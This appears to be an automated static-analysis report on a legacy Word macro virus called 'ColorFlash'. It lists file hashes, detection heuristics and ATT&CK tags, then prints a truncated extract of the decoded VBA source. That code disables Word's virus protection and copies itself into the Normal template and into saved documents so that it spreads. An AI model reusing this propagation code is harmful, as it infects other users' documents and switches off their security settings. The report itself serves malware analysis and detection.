Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc23a62abfe2d05b…

MALICIOUS

Office (OLE)

79.5 KB Created: 1998-04-10 18:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a31953e7261c2f77c0d20d61a9b21e25 SHA-1: c1adf60d4602fa44e756372dfe3ddb86c95d1575 SHA-256: dc23a62abfe2d05b5ef5e5cac88fcbe1afbf6d67b482e437be8ece3e3252a82e
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro virus markers and an Auto_Close macro, indicating an attempt to infect the Normal template and spread. The Auto_Close macro attempts to copy the 'ColorFlash' macro and associated forms to the Normal template, suggesting a self-propagation mechanism. The presence of legacy macro virus markers and the ClamAV detection strongly suggest malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.NoChance-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NoChance-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48875 bytes
SHA-256: 68f79a5794f495d839717f9ec783672a72564fbf250640596772776f128bfc92
Detection
ClamAV: Doc.Trojan.NoChance-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ColorFlash"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Dim MyDate, MyTime
MyDate = Date
MyTime = Time
D$ = Mid(MyDate, 1, 2)
T$ = Mid(MyTime, 1, 2)
If D$ = "15" Then
    MsgBox "Il faut mettre un peu de couleur dans votre vie..", vbInformation, "ColorFlash Virus"
    Call PayLoad
End If
If T$ = "15" Then
    MsgBox "Le virus ColorFlash vous souhaite un Bonne Après Midi...", vbInformation, "ZeMacroKiller98"
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "ColorFlash" Then
        ColorFlashInstalled = -1
    End If
Next i
If Not ColorFlashInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="ColorFlash", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="ColorFlash", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    UserForm900.Show
ErrorFT:
End Sub
Private Sub PayLoad()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorPL
ActiveDocument.Shapes.AddTextEffect(msoTextEffect11, "ColorFlash", _
        "Impact", 96#, msoFalse, msoFalse, 87.5, 91.3).Select
Selection.ShapeRange.IncrementLeft -8.3
Selection.ShapeRange.IncrementTop 90.3
Charge:
    ActiveDocument.Shapes.AddShape(msoShapeOval, 0#, 50, 64.8, 64.8) _
        .Select
    Selection.ShapeRange.Fill.ForeColor.RGB = RGB(255, 255, 255)
    Beep
    For i = 1 To 50000
    Next i
    Selection.ShapeRange.Delete
    ActiveDocument.Shapes.AddShape(msoShapeOval, 20#, 50, 64.8, 64.8) _
        .Select
    Selection.ShapeRange.Fill.ForeColor.RGB = RGB(255, 255, 0)
    Beep
    For i = 1 To 50000
    Next i
    Selection.ShapeRange.Delete
    ActiveDocument.Shapes.AddShape(msoShapeOval, 40#, 50, 64.8, 64.8) _
        .Select
    Selection.ShapeRange.Fill.ForeColor.RGB = RGB(255, 0, 0)
    Beep
    For i = 1 To 50000
    Next i
    Selection.ShapeRange.Delete
    ActiveDocument.Shapes.AddShape(msoShapeOval, 60#, 50, 64.8, 64.8) _
        .Select
    Selection.ShapeRange.Fill.ForeColor.RGB = RGB(0, 255, 255)
    Beep
    For i = 1 To 50000
    Next i
    Selection.ShapeRange.Delete
    ActiveDocum
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.